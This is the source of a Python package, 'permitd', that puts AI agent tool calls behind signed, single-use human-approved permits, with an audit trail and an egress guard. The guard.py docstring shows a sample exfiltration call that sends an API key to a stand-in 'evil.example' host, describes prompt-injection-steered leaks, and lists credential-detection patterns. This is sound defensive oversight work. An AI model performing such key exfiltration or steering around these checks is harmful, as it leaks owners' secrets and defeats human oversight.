permitd 0.1.0__py3-none-any.whl

permitd/__init__.py

@@ -0,0 +1,31 @@
+"""permitd — governed tool execution for agent loops.
+
+propose(tool, args) -> Permit (signed, TTL, single-use)
+                    -> approve (out-of-band)
+                    -> execute (verify + burn)
+                    -> one audit line lands.
+
+Core: `PermitKernel` (the flow above, storage-pluggable, stdlib-only).
+Convenience: `Gate` (a tool registry with GREEN/YELLOW/RED tiers and an
+egress guard over the kernel). Operator surface: the `permitd` CLI.
+"""
+from .audit import AuditLog, summarize_args
+from .binding import binding_hash, canonical_args
+from .gate import GREEN, RED, YELLOW, Gate, GateResult, default_paths
+from .guard import scan_outbound
+from .kernel import DEFAULT_TTL_SECONDS, PermitError, PermitKernel, load_or_create_secret
+from .permit import APPROVED, DENIED, EXECUTED, EXPIRED, PROPOSED, Permit
+from .store import MemoryStore, PermitStore, SqliteStore
+
+__version__ = "0.1.0"
+
+__all__ = [
+    "AuditLog", "summarize_args",
+    "binding_hash", "canonical_args",
+    "GREEN", "YELLOW", "RED", "Gate", "GateResult", "default_paths",
+    "scan_outbound",
+    "DEFAULT_TTL_SECONDS", "PermitError", "PermitKernel", "load_or_create_secret",
+    "PROPOSED", "APPROVED", "DENIED", "EXECUTED", "EXPIRED", "Permit",
+    "MemoryStore", "PermitStore", "SqliteStore",
+    "__version__",
+]

permitd/audit.py

@@ -0,0 +1,62 @@
+"""Append-only audit trail: one JSON line per outcome.
+
+Best-effort by contract: logging must never raise into the dispatch path. A
+gate that can't write its audit line still answers; it just loses that line.
+JSONL on purpose — the trail stays `tail -f`-able and trivially exportable.
+"""
+from __future__ import annotations
+
+import json
+import threading
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any, Dict, List
+
+
+class AuditLog:
+    def __init__(self, path: str | Path) -> None:
+        self.path = Path(path)
+        self._lock = threading.Lock()
+
+    def log(self, entry: Dict[str, Any]) -> None:
+        """Append one record; `ts` is stamped here in UTC ISO-8601."""
+        record = {"ts": datetime.now(timezone.utc).isoformat(), **entry}
+        try:
+            with self._lock:
+                self.path.parent.mkdir(parents=True, exist_ok=True)
+                with self.path.open("a", encoding="utf-8") as f:
+                    f.write(json.dumps(record, ensure_ascii=False) + "\n")
+        except Exception:
+            pass  # never let an audit failure break the call
+
+    def tail(self, n: int = 50) -> List[Dict[str, Any]]:
+        """The most recent `n` records, oldest first."""
+        try:
+            if not self.path.exists():
+                return []
+            with self._lock:
+                lines = self.path.read_text(encoding="utf-8").splitlines()
+            out: List[Dict[str, Any]] = []
+            for line in lines[-n:]:
+                line = line.strip()
+                if not line:
+                    continue
+                try:
+                    out.append(json.loads(line))
+                except Exception:
+                    continue
+            return out
+        except Exception:
+            return []
+
+
+def summarize_args(args: Dict[str, Any], max_len: int = 200) -> Dict[str, Any]:
+    """Trim arg values for audit lines so the log never stores huge payloads.
+    (The approval surface is the opposite: it always shows full args.)"""
+    out: Dict[str, Any] = {}
+    for k, v in (args or {}).items():
+        if isinstance(v, str) and len(v) > max_len:
+            out[k] = v[:max_len] + "…"
+        else:
+            out[k] = v
+    return out

permitd/binding.py

@@ -0,0 +1,24 @@
+"""Argument canonicalization and the binding hash.
+
+A permit is bound to one exact (tool, args) pair. The binding hash is the
+scope of that bond: approval for "send X to Alice" can neither be replayed
+nor bent to "send Y to Eve".
+"""
+from __future__ import annotations
+
+import hashlib
+import json
+from typing import Any, Dict, Optional
+
+
+def canonical_args(args: Optional[Dict[str, Any]]) -> str:
+    """Stable JSON for args so the same call always hashes the same. Sorted
+    keys + tight separators: argument ORDER and whitespace can't change the
+    binding, but any value change does."""
+    return json.dumps(args or {}, sort_keys=True, separators=(",", ":"), ensure_ascii=False)
+
+
+def binding_hash(tool: str, args: Optional[Dict[str, Any]]) -> str:
+    """The scope a permit is bound to: this exact tool, these exact args. The
+    tool name is folded in so a permit for one tool can never satisfy another."""
+    return hashlib.sha256(f"{tool}\n{canonical_args(args)}".encode("utf-8")).hexdigest()

permitd/cli.py

@@ -0,0 +1,137 @@
+"""The `permitd` CLI — the minimal approve surface.
+
+Points at the same SQLite store (and derived secret + audit paths) as a
+library `Gate(db=...)` or `PermitKernel(SqliteStore(...))`, so approval is
+genuinely out-of-band: the agent proposes in one process, a human approves
+here, the agent's retry executes.
+
+    permitd pending            # what is waiting, with FULL args (informed consent)
+    permitd show PRM-...
+    permitd approve PRM-...
+    permitd deny PRM-...
+    permitd audit -n 20
+
+Store selection: --db, else $PERMITD_DB, else ./permitd.db.
+"""
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import sys
+from typing import Optional
+
+from .audit import AuditLog
+from .gate import default_paths
+from .kernel import PermitError, PermitKernel
+from .permit import Permit
+from .store import SqliteStore
+
+
+def _kernel(args: argparse.Namespace) -> tuple[PermitKernel, AuditLog]:
+    db = args.db or os.getenv("PERMITD_DB") or "permitd.db"
+    paths = default_paths(db)
+    audit = AuditLog(args.audit or os.getenv("PERMITD_AUDIT") or paths["audit"])
+    kernel = PermitKernel(
+        SqliteStore(paths["db"]),
+        secret_path=None if os.getenv("PERMITD_SECRET") else paths["secret"],
+        audit=audit,
+    )
+    return kernel, audit
+
+
+def _print_permit(p: Permit) -> None:
+    # Full, untruncated args on purpose: this is the operator's
+    # informed-consent surface — they must see the exact thing they authorize.
+    print(f"  {p.id}  [{p.status}]  {p.tool}")
+    print(f"      args: {json.dumps(p.args, ensure_ascii=False)}")
+    print(f"      proposed: {p.created_at}  ttl: {p.ttl_seconds}s")
+
+
+def cmd_pending(args: argparse.Namespace) -> int:
+    kernel, _ = _kernel(args)
+    pending = kernel.pending()
+    if not pending:
+        print("no pending permits")
+        return 0
+    print(f"{len(pending)} pending permit(s):")
+    for p in pending:
+        _print_permit(p)
+    return 0
+
+
+def cmd_show(args: argparse.Namespace) -> int:
+    kernel, _ = _kernel(args)
+    p = kernel.get(args.permit_id)
+    if p is None:
+        print(f"no permit {args.permit_id}", file=sys.stderr)
+        return 1
+    _print_permit(p)
+    return 0
+
+
+def cmd_approve(args: argparse.Namespace) -> int:
+    kernel, _ = _kernel(args)
+    p = kernel.get(args.permit_id)
+    if p is not None:
+        _print_permit(p)
+    try:
+        p = kernel.approve(args.permit_id)
+    except PermitError as e:
+        print(f"refused: {e}", file=sys.stderr)
+        return 1
+    print(f"approved — {p.id} is executable for {p.ttl_seconds}s, single use, "
+          "bound to exactly these arguments")
+    return 0
+
+
+def cmd_deny(args: argparse.Namespace) -> int:
+    kernel, _ = _kernel(args)
+    try:
+        p = kernel.deny(args.permit_id)
+    except PermitError as e:
+        print(f"refused: {e}", file=sys.stderr)
+        return 1
+    print(f"denied — {p.id} will never run")
+    return 0
+
+
+def cmd_audit(args: argparse.Namespace) -> int:
+    _, audit = _kernel(args)
+    records = audit.tail(args.n)
+    if not records:
+        print("audit log is empty")
+        return 0
+    for r in records:
+        print(json.dumps(r, ensure_ascii=False))
+    return 0
+
+
+def main(argv: Optional[list[str]] = None) -> int:
+    parser = argparse.ArgumentParser(
+        prog="permitd",
+        description="Approve, deny, and audit permits for governed tool execution.")
+    parser.add_argument("--db", help="permit store path (default: $PERMITD_DB or ./permitd.db)")
+    parser.add_argument("--audit", help="audit log path (default: alongside the db)")
+    sub = parser.add_subparsers(dest="command", required=True)
+
+    sub.add_parser("pending", help="list permits awaiting a decision").set_defaults(fn=cmd_pending)
+    p = sub.add_parser("show", help="show one permit")
+    p.add_argument("permit_id")
+    p.set_defaults(fn=cmd_show)
+    p = sub.add_parser("approve", help="approve a permit (mints the single-use token)")
+    p.add_argument("permit_id")
+    p.set_defaults(fn=cmd_approve)
+    p = sub.add_parser("deny", help="deny a permit")
+    p.add_argument("permit_id")
+    p.set_defaults(fn=cmd_deny)
+    p = sub.add_parser("audit", help="print recent audit lines")
+    p.add_argument("-n", type=int, default=20, help="how many lines (default 20)")
+    p.set_defaults(fn=cmd_audit)
+
+    ns = parser.parse_args(argv)
+    return ns.fn(ns)
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

permitd/gate.py

@@ -0,0 +1,199 @@
+"""The Gate: a small tool registry with tiered governance over the kernel.
+
+Tiers (the same semantics the kernel grew up with in production):
+
+  GREEN   read-only over the caller's own state. Runs freely; audited.
+  YELLOW  external read. Runs only under STANDING operator authorization
+          (one toggle: `gate.standing_authorization = True`); audited.
+  RED     write / exec / send. Per-call permit: propose -> approve -> execute.
+
+The egress guard runs before any non-GREEN call — including at PROPOSE time,
+so a secret-bearing proposal never reaches the approval surface. Failures are
+returned as GateResult(ok=False), never raised, so a tool call can never crash
+an agent turn.
+"""
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+from pathlib import Path
+from typing import Any, Callable, Dict, List, Optional
+
+from . import guard as _guard
+from .audit import AuditLog, summarize_args
+from .kernel import DEFAULT_TTL_SECONDS, PermitError, PermitKernel
+from .permit import Permit
+from .store import SqliteStore
+
+GREEN = "green"
+YELLOW = "yellow"
+RED = "red"
+TIERS = (GREEN, YELLOW, RED)
+
+
+def default_paths(db: str | Path) -> Dict[str, Path]:
+    """The convention that lets a library Gate and the `permitd` CLI meet on
+    one database: permitd.db -> permitd.db.secret + permitd_audit.jsonl."""
+    db = Path(db)
+    return {
+        "db": db,
+        "secret": db.with_name(db.name + ".secret"),
+        "audit": db.with_name(db.stem + "_audit.jsonl"),
+    }
+
+
+@dataclass
+class RegisteredTool:
+    name: str
+    fn: Callable[..., Any]
+    tier: str
+    description: str = ""
+
+
+@dataclass
+class GateResult:
+    """Uniform return shape for every call. `ok=False` + `reason` labels why
+    nothing ran (or why the run failed); `permit` carries the public view of a
+    freshly-proposed permit when the answer is 'go get approval'."""
+    ok: bool
+    result: Any = None
+    error: str = ""
+    reason: str = ""
+    permit: Optional[Dict[str, Any]] = field(default=None)
+
+
+class Gate:
+    def __init__(
+        self,
+        kernel: Optional[PermitKernel] = None,
+        *,
+        db: Optional[str | Path] = None,
+        secret: Optional[str | bytes] = None,
+        audit_path: Optional[str | Path] = None,
+        ttl_seconds: int = DEFAULT_TTL_SECONDS,
+        use_guard: bool = True,
+        standing_authorization: bool = False,
+    ) -> None:
+        if kernel is not None:
+            self.kernel = kernel
+            self.audit = kernel.audit
+        else:
+            if db is not None:
+                paths = default_paths(db)
+                self.audit = AuditLog(audit_path or paths["audit"])
+                self.kernel = PermitKernel(
+                    SqliteStore(paths["db"]),
+                    secret=secret,
+                    secret_path=None if secret else paths["secret"],
+                    ttl_seconds=ttl_seconds,
+                    audit=self.audit,
+                )
+            else:
+                self.audit = AuditLog(audit_path) if audit_path else None
+                self.kernel = PermitKernel(secret=secret, ttl_seconds=ttl_seconds,
+                                           audit=self.audit)
+        self.use_guard = use_guard
+        self.standing_authorization = standing_authorization
+        self.registry: Dict[str, RegisteredTool] = {}
+
+    # ── registry ─────────────────────────────────────────────────────────
+    def register(self, name: str, fn: Callable[..., Any], *, tier: str = GREEN,
+                 description: str = "") -> None:
+        if tier not in TIERS:
+            raise ValueError(f"tool {name!r}: unknown tier {tier!r}")
+        self.registry[name] = RegisteredTool(name, fn, tier, description)
+
+    def tool(self, name: Optional[str] = None, *, tier: str = GREEN,
+             description: str = "") -> Callable[[Callable[..., Any]], Callable[..., Any]]:
+        """Decorator form: @gate.tool(tier=RED)."""
+        def deco(fn: Callable[..., Any]) -> Callable[..., Any]:
+            self.register(name or fn.__name__, fn, tier=tier,
+                          description=description or (fn.__doc__ or "").strip())
+            return fn
+        return deco
+
+    def tools(self) -> List[Dict[str, str]]:
+        return [{"name": t.name, "tier": t.tier, "description": t.description}
+                for t in sorted(self.registry.values(), key=lambda t: t.name)]
+
+    # ── operator surface (delegates) ─────────────────────────────────────
+    def approve(self, permit_id: str) -> Permit:
+        return self.kernel.approve(permit_id)
+
+    def deny(self, permit_id: str) -> Permit:
+        return self.kernel.deny(permit_id)
+
+    def pending(self) -> List[Permit]:
+        return self.kernel.pending()
+
+    def get(self, permit_id: str) -> Optional[Permit]:
+        return self.kernel.get(permit_id)
+
+    # ── dispatch ─────────────────────────────────────────────────────────
+    def call(self, name: str, args: Optional[Dict[str, Any]] = None, *,
+             permit_id: Optional[str] = None) -> GateResult:
+        args = dict(args or {})
+        tool = self.registry.get(name)
+        if tool is None:
+            self._log({"event": "refused", "tool": name, "reason": "unknown_tool"})
+            return GateResult(ok=False, reason="unknown_tool",
+                              error=f"unknown tool: {name}")
+
+        # Egress guard first — the earliest content check, ahead of the permit
+        # flow on purpose: a poisoned RED call is refused at PROPOSE time, so no
+        # approval card is ever shown for it and its secret-bearing args never
+        # reach the audit trail. The same scan fires again on the execute
+        # re-dispatch, so a secret buried in operator-approved args is refused
+        # even post-approval. One chokepoint, both lanes.
+        if self.use_guard and tool.tier != GREEN:
+            allow, why = _guard.scan_outbound(name, args)
+            if not allow:
+                self._log({"event": "refused", "tool": name, "tier": tool.tier,
+                           "reason": "egress_blocked", "guard": why})
+                return GateResult(ok=False, reason="egress_blocked", error=(
+                    f"{name} was blocked by the egress guard ({why}). The "
+                    "arguments carry credential-shaped content that must not "
+                    "leave; the call was refused before anything was sent. Do "
+                    "not retry — remove the sensitive content."))
+
+        if tool.tier == YELLOW and not self.standing_authorization:
+            self._log({"event": "refused", "tool": name, "tier": YELLOW,
+                       "reason": "not_authorized"})
+            return GateResult(ok=False, reason="not_authorized", error=(
+                f"{name} is a yellow-tier tool and requires standing operator "
+                "authorization (gate.standing_authorization = True)."))
+
+        if tool.tier == RED:
+            if not permit_id:
+                permit = self.kernel.propose(name, args)
+                return GateResult(
+                    ok=False, reason="approval_required", permit=permit.public(),
+                    error=(f"{name} needs operator approval before it runs. "
+                           f"Permit {permit.id} is proposed — ask the operator "
+                           f"to run `permitd approve {permit.id}`, then retry "
+                           "this exact call with that permit_id. Do not alter "
+                           "the arguments; the permit is bound to them."))
+            try:
+                result = self.kernel.execute(name, args, permit_id,
+                                             runner=tool.fn)
+                return GateResult(ok=True, result=result)
+            except PermitError as e:
+                return GateResult(ok=False, reason=e.reason, error=str(e))
+            except Exception as e:  # tool raised; kernel already audited it
+                return GateResult(ok=False, reason="exception",
+                                  error=f"{name} failed: {e}")
+
+        # GREEN, or YELLOW under standing authorization.
+        try:
+            result = tool.fn(**args)
+        except Exception as e:
+            self._log({"event": "failed", "tool": name, "tier": tool.tier,
+                       "args": summarize_args(args), "error": str(e)})
+            return GateResult(ok=False, reason="exception",
+                              error=f"{name} failed: {e}")
+        self._log({"event": "executed", "tool": name, "tier": tool.tier,
+                   "args": summarize_args(args), "ok": True})
+        return GateResult(ok=True, result=result)
+
+    def _log(self, entry: Dict[str, Any]) -> None:
+        if self.audit is not None:
+            self.audit.log(entry)

permitd/guard.py

@@ -0,0 +1,156 @@
+"""Outbound argument scan (the egress guard).
+
+Most agent defenses are on *input*: injection scans, untrusted-content
+wrapping, the approval card itself. This is the one chokepoint that inspects
+what *leaves* — a poisoned context or a manipulated turn can steer a secret
+into a tool argument:
+
+    fetch_url("https://evil.example?x=sk-ant-...the-owner's-key...")
+
+The approval card is a backstop for RED sends, but standing-authorized YELLOW
+reads have no per-call gate at all — they are the bigger hole. The gate runs
+this scan before any non-GREEN call, including at PROPOSE time, so a
+secret-bearing proposal never even reaches the approval surface.
+
+Contract: `scan_outbound(tool, args) -> (allow: bool, reason: str)`.
+`allow=False` means refuse the call; `reason` names the matched *shape* and
+NEVER contains the offending value — it is safe to audit and to surface to
+the model.
+"""
+from __future__ import annotations
+
+import json
+import math
+import os
+import re
+from typing import Any, Dict, Tuple
+
+# ── Credential / secret shapes ───────────────────────────────────────────────
+# (label, compiled regex). The label is what gets audited and returned — it
+# describes the kind of secret, never the value. Patterns are deliberately
+# specific (anchored prefixes, structural markers) so ordinary prose and URLs
+# do not trip them.
+_CREDENTIAL_PATTERNS = [
+    ("private_key_block",
+     re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH |DSA |PGP )?PRIVATE KEY-----")),
+    # "Bearer <token>": require a substantial token after it so the bare
+    # English word "bearer" in a sentence does not match.
+    ("bearer_token",
+     re.compile(r"\bBearer\s+[A-Za-z0-9\-._~+/]{20,}=*", re.IGNORECASE)),
+    ("basic_auth_header",
+     re.compile(r"\bBasic\s+[A-Za-z0-9+/]{16,}=*")),
+    ("aws_access_key_id", re.compile(r"\b(?:AKIA|ASIA)[0-9A-Z]{16}\b")),
+    ("github_token",
+     re.compile(r"\b(?:ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36,}\b"
+                r"|\bgithub_pat_[A-Za-z0-9_]{40,}\b")),
+    ("slack_token", re.compile(r"\bxox[baprs]-[A-Za-z0-9-]{10,}\b")),
+    ("stripe_key", re.compile(r"\b(?:sk|rk)_(?:live|test)_[A-Za-z0-9]{16,}\b")),
+    ("anthropic_key", re.compile(r"\bsk-ant-[A-Za-z0-9\-_]{20,}\b")),
+    ("openai_key", re.compile(r"\bsk-(?:proj-)?[A-Za-z0-9]{20,}\b")),
+    ("google_api_key", re.compile(r"\bAIza[0-9A-Za-z\-_]{35}\b")),
+    ("gcp_service_account", re.compile(r'"type"\s*:\s*"service_account"')),
+    # Generic "<secret-ish name> = <value>" assignments with a long opaque value.
+    ("inline_secret_assignment",
+     re.compile(r"(?i)\b(?:api[_-]?key|secret|password|passwd|token|"
+                r"access[_-]?token|private[_-]?key)\b\s*[:=]\s*"
+                r"['\"]?[A-Za-z0-9\-._/+]{16,}")),
+]
+
+# Env-var names whose *values* this process holds and must never let leave.
+# Matched by substring on the UPPERCASED name; PUBLIC keys are exempt (a
+# public key is meant to be shared).
+_SENSITIVE_ENV_MARKERS = ("KEY", "SECRET", "TOKEN", "PASSWORD", "PASSWD",
+                          "PWD", "PRIVATE", "CREDENTIAL")
+_ENV_EXEMPT_MARKERS = ("PUBLIC",)
+# Don't treat trivially-short or boolean-ish env values as secrets — they
+# cause false positives (a flag "1" appears in any query).
+_MIN_ENV_VALUE_LEN = 10
+_ENV_VALUE_NOISE = {"true", "false", "none", "null", "0", "1"}
+
+# High-entropy backstop: a contiguous opaque token that looks like a secret
+# even though it matched no named pattern. Tuned conservative — long enough
+# and mixed enough that ordinary words and slugs do not trip it.
+_TOKEN_RE = re.compile(r"[A-Za-z0-9+/=_\-]{48,}")
+_ENTROPY_BITS_MIN = 4.3
+# URLs are stripped before the entropy backstop runs: legitimate signed/CDN
+# URLs carry long opaque tokens indistinguishable from secrets by entropy
+# alone. The named patterns and the env-value match still scan the FULL text
+# (URLs included), so a known-shape key embedded in a URL is still caught —
+# only the noisy generic heuristic skips URL bodies.
+_URL_RE = re.compile(r"https?://\S+")
+
+
+def _stringify(args: Dict[str, Any]) -> str:
+    try:
+        return json.dumps(args, ensure_ascii=False, default=str)
+    except Exception:
+        return repr(args)
+
+
+def _scan_credentials(text: str) -> str:
+    for label, rx in _CREDENTIAL_PATTERNS:
+        if rx.search(text):
+            return f"matches a credential pattern ({label})"
+    return ""
+
+
+def _scan_env_secrets(text: str) -> str:
+    """Refuse if any sensitive env *value* this process holds appears verbatim
+    in the outbound args. The value is never logged or returned — only the var
+    name, which is not itself a secret."""
+    for name, value in os.environ.items():
+        up = name.upper()
+        if any(m in up for m in _ENV_EXEMPT_MARKERS):
+            continue
+        if not any(m in up for m in _SENSITIVE_ENV_MARKERS):
+            continue
+        v = (value or "").strip()
+        if len(v) < _MIN_ENV_VALUE_LEN or v.lower() in _ENV_VALUE_NOISE:
+            continue
+        if v in text:
+            return f"contains the value of a sensitive environment variable ({name})"
+    return ""
+
+
+def _shannon_entropy(s: str) -> float:
+    if not s:
+        return 0.0
+    counts: Dict[str, int] = {}
+    for ch in s:
+        counts[ch] = counts.get(ch, 0) + 1
+    n = len(s)
+    return -sum((c / n) * math.log2(c / n) for c in counts.values())
+
+
+def _scan_high_entropy(text: str) -> str:
+    """Backstop for opaque secrets that match no named prefix: a long
+    contiguous token, high entropy, AND mixed character classes — base64/hex
+    secrets have all three; English words and tidy URL slugs do not."""
+    text = _URL_RE.sub(" ", text)
+    for m in _TOKEN_RE.finditer(text):
+        tok = m.group(0)
+        if not (any(c.islower() for c in tok)
+                and any(c.isupper() for c in tok)
+                and any(c.isdigit() for c in tok)):
+            continue
+        if _shannon_entropy(tok) >= _ENTROPY_BITS_MIN:
+            return "contains a long high-entropy token that looks like a secret"
+    return ""
+
+
+def scan_outbound(tool: str, args: Dict[str, Any]) -> Tuple[bool, str]:
+    """Inspect outbound tool arguments before they run (or are proposed).
+    Returns (allow, reason); reason never embeds the offending value."""
+    try:
+        text = _stringify(args)
+    except Exception:
+        # Cannot evaluate the args → fail closed: a security gate treats
+        # "can't tell" as deny.
+        return False, "outbound arguments could not be inspected (failed closed)"
+    if not text:
+        return True, ""
+    for scan in (_scan_credentials, _scan_env_secrets, _scan_high_entropy):
+        reason = scan(text)
+        if reason:
+            return False, reason
+    return True, ""

permitd/kernel.py

@@ -0,0 +1,247 @@
+"""The permit kernel: propose -> approve -> execute (verify + burn) -> audit.
+
+The contract (security lives here):
+
+  PROPOSE   `propose()` records the exact (tool, canonicalized args) and
+            returns a Permit. Nothing has run.
+  APPROVE   `approve()` mints a single-use HMAC-signed token bound to
+            sha256(tool + canonical args), with a short TTL.
+  EXECUTE   `execute()` re-checks the SAME (tool, args) against the permit:
+            signature recomputes, binding matches, unexpired, unused — the
+            burn is atomic — and only then the tool runs. One audit line lands.
+  DENY      `deny()` discards the proposal; any minted token dies with it.
+
+Every non-execute outcome is fail-closed: a missing, expired, mismatched,
+tampered, or reused permit is refused, and the refusal is audited. Approval
+for "send X to Alice" can neither be replayed nor bent to "send Y to Eve" —
+the args hash and the atomic burn see to that.
+"""
+from __future__ import annotations
+
+import hashlib
+import hmac
+import os
+import secrets as _secrets
+import stat
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any, Callable, Dict, List, Optional, Tuple
+
+from .audit import AuditLog, summarize_args
+from .binding import binding_hash
+from .permit import APPROVED, DENIED, EXPIRED, PROPOSED, Permit
+from .store import MemoryStore, PermitStore
+
+DEFAULT_TTL_SECONDS = 300
+
+
+class PermitError(Exception):
+    """A permit operation was refused. `reason` is a short machine-readable
+    label (also the audit label); str(e) is the human sentence."""
+
+    def __init__(self, reason: str, message: Optional[str] = None) -> None:
+        self.reason = reason
+        super().__init__(message or reason)
+
+
+def load_or_create_secret(path: str | Path) -> bytes:
+    """Read the HMAC secret from `path`, creating it (0600) on first use so a
+    library user and the `permitd` CLI sharing a store also share the secret."""
+    p = Path(path)
+    if p.exists():
+        return p.read_bytes().strip()
+    p.parent.mkdir(parents=True, exist_ok=True)
+    secret = _secrets.token_hex(32).encode("ascii")
+    p.write_bytes(secret + b"\n")
+    try:
+        p.chmod(stat.S_IRUSR | stat.S_IWUSR)
+    except OSError:
+        pass
+    return secret
+
+
+def _resolve_secret(secret: Optional[str | bytes], secret_path: Optional[str | Path]) -> bytes:
+    if secret is not None:
+        return secret.encode("utf-8") if isinstance(secret, str) else secret
+    env = os.getenv("PERMITD_SECRET")
+    if env:
+        return env.encode("utf-8")
+    if secret_path is not None:
+        return load_or_create_secret(secret_path)
+    # Ephemeral secret: fine for in-memory kernels; a persistent store shared
+    # across processes should pass `secret` or `secret_path`.
+    return _secrets.token_hex(32).encode("ascii")
+
+
+class PermitKernel:
+    def __init__(
+        self,
+        store: Optional[PermitStore] = None,
+        *,
+        secret: Optional[str | bytes] = None,
+        secret_path: Optional[str | Path] = None,
+        ttl_seconds: int = DEFAULT_TTL_SECONDS,
+        audit: Optional[AuditLog] = None,
+        clock: Optional[Callable[[], datetime]] = None,
+    ) -> None:
+        self.store: PermitStore = store if store is not None else MemoryStore()
+        self.ttl_seconds = ttl_seconds
+        self.audit = audit
+        self._secret = _resolve_secret(secret, secret_path)
+        self._now = clock or (lambda: datetime.now(timezone.utc))
+
+    # ── time ─────────────────────────────────────────────────────────────
+    def _age_seconds(self, iso: Optional[str]) -> float:
+        try:
+            t = datetime.fromisoformat(iso or "")
+            if t.tzinfo is None:
+                t = t.replace(tzinfo=timezone.utc)
+            return (self._now() - t).total_seconds()
+        except Exception:
+            return float("inf")  # unparseable timestamp → expired (fail closed)
+
+    def _expire_if_stale(self, permit: Permit) -> Permit:
+        """Both clocks are bounded: a proposal is approvable for ttl after
+        propose; a minted approval is executable for ttl after approve."""
+        stale = (
+            (permit.status == PROPOSED and self._age_seconds(permit.created_at) > permit.ttl_seconds)
+            or (permit.status == APPROVED and self._age_seconds(permit.approved_at) > permit.ttl_seconds)
+        )
+        if stale:
+            permit.status = EXPIRED
+            permit.token = None
+            self.store.update(permit)
+        return permit
+
+    # ── signing ──────────────────────────────────────────────────────────
+    def _sign(self, permit_id: str, bhash: str, approved_at: str) -> str:
+        msg = f"{permit_id}.{bhash}.{approved_at}".encode("utf-8")
+        return hmac.new(self._secret, msg, hashlib.sha256).hexdigest()
+
+    def _log(self, event: str, permit: Optional[Permit] = None, **extra: Any) -> None:
+        if self.audit is None:
+            return
+        entry: Dict[str, Any] = {"event": event}
+        if permit is not None:
+            entry.update({
+                "permit_id": permit.id,
+                "tool": permit.tool,
+                "args": summarize_args(permit.args),
+            })
+        entry.update(extra)
+        self.audit.log(entry)
+
+    # ── PROPOSE ──────────────────────────────────────────────────────────
+    def propose(self, tool: str, args: Optional[Dict[str, Any]] = None) -> Permit:
+        """Record a pending call and return the Permit. Nothing executes here —
+        an approval must be minted before the call can run at all."""
+        permit = Permit(
+            id="PRM-" + _secrets.token_hex(6),
+            tool=tool,
+            args=dict(args or {}),
+            binding_hash=binding_hash(tool, args),
+            status=PROPOSED,
+            created_at=self._now().isoformat(),
+            ttl_seconds=self.ttl_seconds,
+        )
+        self.store.create(permit)
+        self._log("proposed", permit)
+        return permit
+
+    def get(self, permit_id: str) -> Optional[Permit]:
+        permit = self.store.get(permit_id)
+        return self._expire_if_stale(permit) if permit else None
+
+    def pending(self) -> List[Permit]:
+        """Proposals still awaiting a decision and not yet expired."""
+        out = []
+        for permit in self.store.list(status=PROPOSED):
+            if self._expire_if_stale(permit).status == PROPOSED:
+                out.append(permit)
+        return out
+
+    # ── APPROVE / DENY ───────────────────────────────────────────────────
+    def approve(self, permit_id: str) -> Permit:
+        """Operator approves. Mints the one-shot HMAC token scoped to the
+        permit's (tool, args) hash. Raises PermitError on anything else."""
+        permit = self.store.get(permit_id)
+        if permit is None:
+            raise PermitError("unknown_permit", f"no permit {permit_id}")
+        permit = self._expire_if_stale(permit)
+        if permit.status != PROPOSED:
+            self._log("approve_refused", permit, reason=f"already_{permit.status}")
+            raise PermitError(f"already_{permit.status}",
+                              f"{permit_id} is {permit.status}, not approvable")
+        permit.approved_at = self._now().isoformat()
+        permit.token = self._sign(permit.id, permit.binding_hash, permit.approved_at)
+        permit.status = APPROVED
+        self.store.update(permit)
+        self._log("approved", permit)
+        return permit
+
+    def deny(self, permit_id: str) -> Permit:
+        permit = self.store.get(permit_id)
+        if permit is None:
+            raise PermitError("unknown_permit", f"no permit {permit_id}")
+        if permit.status not in (PROPOSED, APPROVED):
+            raise PermitError(f"already_{permit.status}",
+                              f"{permit_id} is {permit.status}, not deniable")
+        permit.status = DENIED
+        permit.decided_at = self._now().isoformat()
+        permit.token = None  # any minted token is dead on deny
+        self.store.update(permit)
+        self._log("denied", permit)
+        return permit
+
+    # ── VERIFY + BURN ────────────────────────────────────────────────────
+    def verify_and_burn(self, tool: str, args: Optional[Dict[str, Any]],
+                        permit_id: str) -> Tuple[bool, str]:
+        """Fail-closed check run at execute time. Passes only if the permit
+        was approved for THIS exact (tool, args), its signature recomputes
+        (store-tamper check), it is unexpired, and this caller wins the atomic
+        burn. Returns (ok, reason); reason is the audit/refusal label."""
+        if not permit_id:
+            return False, "missing_permit"
+        permit = self.store.get(permit_id)
+        if permit is None:
+            return False, "unknown_permit"
+        permit = self._expire_if_stale(permit)
+        if permit.status != APPROVED:
+            return False, {PROPOSED: "not_approved", DENIED: "denied",
+                           EXPIRED: "expired"}.get(permit.status, "already_used")
+        expected = self._sign(permit.id, permit.binding_hash, permit.approved_at or "")
+        if not permit.token or not hmac.compare_digest(permit.token, expected):
+            return False, "bad_signature"
+        if permit.binding_hash != binding_hash(tool, args):
+            return False, "args_mismatch"
+        if not self.store.burn(permit.id, self._now().isoformat()):
+            return False, "already_used"  # lost the race — one-shot holds
+        return True, "ok"
+
+    # ── EXECUTE ──────────────────────────────────────────────────────────
+    def execute(self, tool: str, args: Optional[Dict[str, Any]],
+                permit_id: str, runner: Callable[..., Any]) -> Any:
+        """Verify + burn, then run `runner(**args)`. Refusals raise PermitError
+        and are audited; the successful execution lands its audit line too."""
+        args = dict(args or {})
+        ok, reason = self.verify_and_burn(tool, args, permit_id)
+        if not ok:
+            if self.audit is not None:
+                self.audit.log({"event": "refused", "permit_id": permit_id,
+                                "tool": tool, "args": summarize_args(args),
+                                "reason": reason})
+            raise PermitError(reason, f"{tool}: permit {reason} — refused. "
+                              "An approved action runs only against a fresh, "
+                              "matching, operator-minted permit.")
+        try:
+            result = runner(**args)
+        except Exception as e:
+            if self.audit is not None:
+                self.audit.log({"event": "failed", "permit_id": permit_id,
+                                "tool": tool, "args": summarize_args(args),
+                                "error": str(e)})
+            raise
+        if self.audit is not None:
+            self.audit.log({"event": "executed", "permit_id": permit_id,
+                            "tool": tool, "args": summarize_args(args), "ok": True})
+        return result

permitd/permit.py

@@ -0,0 +1,70 @@
+"""The Permit record and its lifecycle states."""
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+from typing import Any, Dict, Optional
+
+# Lifecycle: PROPOSED -> APPROVED -> EXECUTED
+#                     -> DENIED
+#            (PROPOSED or APPROVED past TTL) -> EXPIRED
+PROPOSED = "proposed"
+APPROVED = "approved"
+DENIED = "denied"
+EXECUTED = "executed"
+EXPIRED = "expired"
+
